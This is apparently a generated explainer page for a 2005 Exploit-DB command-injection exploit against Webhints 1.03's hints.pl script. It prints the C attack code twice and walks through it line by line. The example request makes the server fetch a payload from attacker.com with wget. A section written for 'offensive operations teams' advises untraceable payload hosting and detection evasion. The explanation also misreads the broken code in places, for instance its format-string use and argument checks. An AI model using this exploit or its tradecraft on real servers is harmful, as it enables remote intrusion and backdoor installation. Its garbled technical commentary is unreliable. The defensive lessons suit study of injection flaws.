Webhints 1.03 Remote Command Execution Exploit Explained

Webhints 1.03 Remote Command Execution Exploit Explained
What this paper is
This paper presents a C exploit for a remote command execution vulnerability in Webhints version 1.03. The exploit targets a flaw in how Webhints handles requests, allowing an attacker to execute arbitrary commands on the vulnerable server by tricking it into downloading and executing a malicious file. The exploit itself is a C program that, when compiled and run, connects to the target web server and sends a specially crafted HTTP request.
Simple technical breakdown
The Webhints application, specifically version 1.03, has a vulnerability that allows remote command execution. This is achieved by sending a malicious HTTP GET request to the server. The request is designed to exploit a weakness in the hints.pl script. When the server processes this request, it inadvertently executes a command specified by the attacker. The exploit code automates this process by:
- Connecting to the target web server on port 80 (HTTP).
- Sending a crafted HTTP GET request. This request includes a command that tells the server to download a file (using
wget) from a location controlled by the attacker. - The server, vulnerable to this specific request, will then execute the
wgetcommand, downloading the attacker's payload.
The exploit's goal is to upload a page (presumably a malicious script or backdoor) into a directory that Webhints uses. The attacker can then interact with this uploaded page.
Complete code and payload walkthrough
Let's break down the provided C code and understand its components.
/*
**************************************************************************************
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
**************************************************************************************
EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln
Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
E-Mail: Alpha_Programmer@Yahoo.Com
This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself
**************************************************************************************
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke *
*And Iranian Security & Technical Sites: *
* *
* TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG *
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
**************************************************************************************
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib") // Links the Winsock 2.0 library for Windows networking
#include <winsock2.h> // Includes Windows Sockets API definitions
#define MY_PORT 80 // Defines the standard HTTP port
#define BUF_LEN 256 // Defines a buffer length for potential future use or general buffer sizing
/**************************************************************************************/
int main(int arg_c, char *arg_v[]) // Main function, arg_c is argument count, arg_v is argument values
{
// The 'cmd' string is the core of the exploit. It's a format string.
// %chints.pl?|wget %c| HTTP/1.0\r\n\r\n
// This string is designed to be formatted with two arguments from arg_v.
// The first '%c' will be replaced by the first character of arg_v[2] (the target directory).
// The second '%c' will be replaced by the first character of arg_v[3] (the file address).
// The '|' characters are used for command chaining in Unix-like shells.
// 'wget %c' is intended to be the command executed on the server.
// The exploit assumes the server's hints.pl script is vulnerable to command injection via GET parameters.
// The 'HTTP/1.0\r\n\r\n' is a standard HTTP request header.
static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3];
struct sockaddr_in their_adr; // Structure to hold internet address information for the target
char buf[BUF_LEN]; // A buffer, though not explicitly used for receiving data in this exploit
struct hostent *he; // Structure to hold host information (like IP address)
int sock, i; // Socket descriptor and loop/return value variable
WSADATA wsdata; // Structure for Winsock initialization data
/* Winsock start up */
WSAStartup(0x0101, &wsdata); // Initializes the Winsock library. 0x0101 is a version number.
atexit((void (*)(void))WSACleanup); // Registers WSACleanup to be called upon program exit.
if(arg_c != 3) // Checks if the correct number of command-line arguments are provided.
{
// If not 3 arguments (program name + target + directory + file address), print usage and exit.
printf("=========================================================\n");
printf(" Webhints Exploit By Alpha_Programmer\n");
printf(" Trap-set Underground Hacking Team\n");
printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]\n");
printf("=========================================================\n");
return 1; // Exit with an error code
}
/* create socket */
printf("calling socket()...\n");
sock = socket(AF_INET, SOCK_STREAM, 0); // Creates a TCP socket. AF_INET for IPv4, SOCK_STREAM for TCP.
/* get IP address of other end */
printf("calling gethostbyname()...\n");
he = gethostbyname(arg_v[1]); // Resolves the target hostname (arg_v[1]) into an IP address.
if(he == NULL) // If hostname resolution fails
{
printf("can't get IP address of host '%s'\n", arg_v[1]);
return 1; // Exit with an error code
}
memset(&their_adr, 0, sizeof(their_adr)); // Clears the sockaddr_in structure
their_adr.sin_family = AF_INET; // Sets the address family to IPv4
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length); // Copies the IP address from hostent to sockaddr_in
their_adr.sin_port = htons(MY_PORT); // Sets the target port to 80 (defined by MY_PORT) and converts to network byte order.
/* connect */
printf("C0nnecting...\n");
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr)); // Attempts to connect to the target server.
if(i != 0) // If connection fails
{
printf("C0nnect() returned %d, errno=%d\n", i, errno); // Prints connection error details
return 1; // Exit with an error code
}
/* send H3ll C0mmand */
printf("Sending H3ll Packets...\n");
// The 'cmd' string is constructed using the format specifiers.
// The actual string sent will look something like:
// "GET /hints.pl?|wget http://attacker.com/payload.sh| HTTP/1.0\r\n\r\n"
// where arg_v[2] is something like '/' and arg_v[3] is 'http://attacker.com/payload.sh'
// The exploit relies on the fact that the server will interpret the '|' as a command separator
// and execute 'wget' with the provided URL.
i = send(sock, cmd, sizeof(cmd), 0); // Sends the crafted HTTP request to the server.
if(i != sizeof(cmd)) // If the entire command wasn't sent
{
printf("Send. returned %d, errno=%d\n", i, errno); // Prints send error details
return 1; // Exit with an error code
}
// The original code has a typo here: ":)" instead of "printf(...)"
// It should likely be:
// printf("OK ... Now You Can Test your file in hints.pl Directory\n");
// As written, this line will cause a compilation error. Assuming it was intended as a printf.
printf("OK ... Now You Can Test your file in hints.pl Directory\n");
closesocket(sock); // Closes the socket connection
return 0; // Exit successfully
}
// milw0rm.com [2005-06-11]Code Fragment/Block -> Practical Purpose Mapping:
#include <string.h>,#include <stdlib.h>,#include <stdio.h>: Standard C libraries for string manipulation, general utilities, and input/output.#pragma comment(lib, "ws2_32.lib"): Links the Windows Sockets library, essential for network programming on Windows.#include <winsock2.h>: Includes the definitions for the Windows Sockets API.#define MY_PORT 80: Defines the default HTTP port.#define BUF_LEN 256: Defines a buffer size, though not heavily utilized in this specific exploit's logic.int main(int arg_c, char *arg_v[]): The entry point of the program.arg_cis the count of command-line arguments, andarg_vis an array of strings representing those arguments.static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3];: This is the crucial exploit payload string. It's a format string that will be populated with arguments from the command line.GET: Standard HTTP GET method.%chints.pl?: The first%cwill be replaced by the first character ofarg_v[2]. This is intended to be the path, likely a/. Thehints.plis the target script.|wget %c|: This is the command injection part. The|character is a shell pipe. The second%cwill be replaced by the first character ofarg_v[3]. This argument is expected to be the URL of the malicious file to download. Thewgetcommand is used to fetch this file.HTTP/1.0\r\n\r\n: Standard HTTP/1.0 header.
struct sockaddr_in their_adr;: A structure to hold the target server's address information (IP, port, family).char buf[BUF_LEN];: A buffer, likely for general use or potential future expansion, but not actively used for receiving data in this exploit.struct hostent *he;: A structure to hold resolved host information (like IP address).int sock, i;:sockwill hold the socket file descriptor.iis used for loop counters and return values from system calls.WSADATA wsdata;: A structure used for Winsock initialization.WSAStartup(0x0101, &wsdata);: Initializes the Winsock DLL.atexit((void (*)(void))WSACleanup);: Ensures Winsock is cleaned up when the program exits.if(arg_c != 3): Checks for the correct number of command-line arguments. The exploit expects the program name, the target hostname/IP, a directory path, and the file address. So, 3 arguments after the program name.printf("Usage : webhints.exe [Targ3t] [DIR] [File Address]\n");: Prints usage instructions if arguments are incorrect.sock = socket(AF_INET, SOCK_STREAM, 0);: Creates a TCP socket.he = gethostbyname(arg_v[1]);: Resolves the target hostname (provided as the first argument) into an IP address.their_adr.sin_family = AF_INET;: Sets the address family to IPv4.memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);: Copies the resolved IP address into thesockaddr_instructure.their_adr.sin_port = htons(MY_PORT);: Sets the port to 80 and converts it to network byte order.i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));: Establishes a connection to the target server.i = send(sock, cmd, sizeof(cmd), 0);: Sends the crafted exploit request to the server. Thecmdstring is formatted using the providedarg_v[2]andarg_v[3].printf("OK ... Now You Can Test your file in hints.pl Directory\n");: A success message indicating the exploit request has been sent. (Note: The original code has a typo here,":)"instead ofprintf(...), which would cause a compilation error. This is an interpretation of the intended message.)closesocket(sock);: Closes the network connection.return 0;: Indicates successful execution.
Shellcode/Payload Segment Explanation:
There is no explicit shellcode within the C source code itself. The "payload" is the specially crafted HTTP request. The C code facilitates the delivery of this request.
The core of the "payload" is the cmd string:"GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n"
This string is designed to be interpreted by the vulnerable Webhints server. When the server receives this, it's expected to:
- Process the
GETrequest for/hints.pl. - The
?signifies the start of query parameters. - The
|character acts as a command separator in a shell environment. wget %cis the command that the attacker wants to execute. The%chere will be populated by the attacker's provided URL (e.g.,http://attacker.com/malware.sh).- The server, if vulnerable, will execute
wget http://attacker.com/malware.sh. wgetwill then download the file from the attacker's server.
The C code's role is to:
- Resolve the target IP.
- Connect to the target's web server.
- Format the
cmdstring with the attacker's chosen directory and the URL of the file to download. - Send this formatted string as an HTTP request.
The actual malicious code is hosted externally by the attacker and is fetched by the wget command on the vulnerable server.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No local access is required for the initial exploit delivery.
- Lab Preconditions:
- A vulnerable Webhints 1.03 installation. This is crucial. The vulnerability is specific to this version and potentially its configuration.
- A controlled server to host the malicious file (e.g.,
malware.shorbackdoor.pl) thatwgetwill download. This server needs to be accessible from the target network. - A C compiler (like MinGW for Windows or GCC for Linux) to compile the exploit code.
- A network environment where the attacker can reach the target server's HTTP port (usually 80).
- Tooling Assumptions:
- The exploit is written in C and relies on the Winsock library, implying it's intended to be compiled and run on Windows. A Linux version would require POSIX sockets (
<sys/socket.h>, etc.). - The target server must have
wgetinstalled and accessible in its PATH for the command injection to work. - The target server must be vulnerable to command injection via the
hints.plscript's GET parameters.
- The exploit is written in C and relies on the Winsock library, implying it's intended to be compiled and run on Windows. A Linux version would require POSIX sockets (
- Execution Pitfalls:
- Version Specificity: The exploit is for Webhints 1.03. Newer versions or different configurations might not be vulnerable.
wgetAvailability: Ifwgetis not installed or not in the server's PATH, the download and subsequent execution will fail.- Firewall/Network Restrictions: The target server might not be able to reach the attacker's hosting server due to outbound firewall rules.
- Incorrect Arguments: Providing incorrect
[DIR]or[File Address]arguments to the exploit will lead to failure. The[DIR]argument is expected to be a path thathints.plcan write to, and[File Address]is the URL of the payload. - Path Traversal/Sanitization: If the
hints.plscript performs proper sanitization of input parameters, the command injection might be prevented. The exploit relies on a lack of sanitization. - HTTP vs. HTTPS: The exploit targets port 80 (HTTP). If the web application uses HTTPS, this exploit will not work directly without modifications to handle SSL/TLS.
- Typo in Original Code: The
printf("OK ... Now You Can Test your file in hints.pl Directory\n"):line in the original source has a syntax error (a colon instead of a semicolon). This would prevent compilation. An operator would need to correct this toprintf("OK ... Now You Can Test your file in hints.pl Directory\n");.
- Tradecraft Considerations:
- Payload Hosting: The attacker needs to host the payload (
malware.sh,backdoor.pl, etc.) on a reliable, accessible server. This server should ideally not be easily traceable back to the attacker. - Payload Obfuscation/Evasion: The downloaded payload should be designed to evade detection by any host-based security solutions on the target.
- Command Chaining: The
|character is a strong indicator of command injection. Defenders might look for this pattern. - Targeted Exploitation: This exploit is highly specific. It's unlikely to be a broad-spectrum attack tool. It requires knowledge of the target's web application and its version.
- Payload Hosting: The attacker needs to host the payload (
Where this was used and when
- Context: This exploit targets the Webhints web application, which was likely a tool or script used for web development or server administration. The vulnerability lies in its
hints.plCGI script. - Timeframe: The exploit was published on Exploit-DB on June 11, 2005. This indicates that the vulnerability existed and was likely exploited around or before this date. Exploits published in this era often targeted older, less secure web applications and server configurations.
Defensive lessons for modern teams
- Input Validation is Paramount: Always validate and sanitize all user-supplied input, especially in web applications. This includes GET and POST parameters, headers, and any data that can influence server-side execution. The Webhints vulnerability is a classic example of insufficient input sanitization leading to command injection.
- Secure CGI Scripting: CGI scripts are notorious for security pitfalls if not written carefully. Developers should avoid executing commands constructed from user input. If command execution is necessary, use parameterized execution or carefully whitelisted commands and arguments.
- Keep Software Updated: Webhints 1.03 is an old version. Regularly patching and updating all web applications, frameworks, and server software is critical to protect against known vulnerabilities.
- Principle of Least Privilege: Ensure web server processes run with the minimum necessary privileges. If a web application is compromised, this limits the damage an attacker can do.
- Network Segmentation and Egress Filtering: Restrict outbound connections from web servers. If a server cannot initiate connections to arbitrary external hosts (like an attacker's
wgetserver), the impact of a successful download command is reduced. - Web Application Firewalls (WAFs): WAFs can detect and block common attack patterns like command injection attempts, including the use of characters like
|in URL parameters. - Logging and Monitoring: Monitor web server logs for suspicious requests, especially those containing command injection patterns or unusual
wgetcalls.
ASCII visual (if applicable)
This exploit's flow can be visualized as a simple client-server interaction with a specific malicious request.
+-----------------+ HTTP Request +-----------------+
| Attacker's Host | ----------------------> | Target Web Server |
| (Running Exploit)| | (Webhints 1.03) |
+-----------------+ +-----------------+
| |
| 1. Connect to Target IP:Port |
| 2. Send crafted GET request: |
| "GET /hints.pl?|wget http://attacker.com/payload.sh| HTTP/1.0\r\n\r\n" |
| |
| | 3. Server processes request,
| | executes:
| | `wget http://attacker.com/payload.sh`
| |
| | 4. Server downloads payload from attacker
| | (e.g., to /tmp/ or web root)
| |
| | 5. (Optional) Payload executes
| | (e.g., backdoor opens connection)
| |
+---------------------------------------------+This diagram illustrates the attacker sending a request that tricks the server into downloading a file. The vulnerability is in the server's handling of the hints.pl script.
Source references
- Paper ID: 1040
- Paper Title: Webhints 1.03 - Remote Command Execution (C) (2)
- Author: Alpha_Programmer
- Published: 2005-06-11
- Keywords: CGI, webapps
- Paper URL: https://www.exploit-db.com/papers/1040
- Raw URL: https://www.exploit-db.com/raw/1040
Original Exploit-DB Content (Verbatim)
/*
**************************************************************************************
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
**************************************************************************************
EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln
Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
E-Mail: Alpha_Programmer@Yahoo.Com
This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself
**************************************************************************************
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke *
*And Iranian Security & Technical Sites: *
* *
* TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG *
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
**************************************************************************************
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#define MY_PORT 80
#define BUF_LEN 256
/**************************************************************************************/
int main(int arg_c, char *arg_v[])
{
static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3];
struct sockaddr_in their_adr;
char buf[BUF_LEN];
struct hostent *he;
int sock, i;
WSADATA wsdata;
/* Winsock start up */
WSAStartup(0x0101, &wsdata);
atexit((void (*)(void))WSACleanup);
if(arg_c != 3)
{
printf("=========================================================\n");
printf(" Webhints Exploit By Alpha_Programmer\n");
printf(" Trap-set Underground Hacking Team\n");
printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]\n");
printf("=========================================================\n");
return 1;
}
/* create socket */
printf("calling socket()...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
/* get IP address of other end */
printf("calling gethostbyname()...\n");
he = gethostbyname(arg_v[1]);
if(he == NULL)
{
printf("can't get IP address of host '%s'\n", arg_v[1]);
return 1;
}
memset(&their_adr, 0, sizeof(their_adr));
their_adr.sin_family = AF_INET;
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
their_adr.sin_port = htons(MY_PORT);
/* connect */
printf("C0nnecting...\n");
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
if(i != 0)
{
printf("C0nnect() returned %d, errno=%d\n", i, errno);
return 1;
}
/* send H3ll C0mmand */
printf("Sending H3ll Packets...\n");
i = send(sock, cmd, sizeof(cmd), 0);
if(i != sizeof(cmd))
{
printf("Send. returned %d, errno=%d\n", i, errno);
return 1;
}\n
printf("OK ... Now You Can Test your file in hints.pl Directory\n"):
closesocket(sock);
return 0;
}
// milw0rm.com [2005-06-11]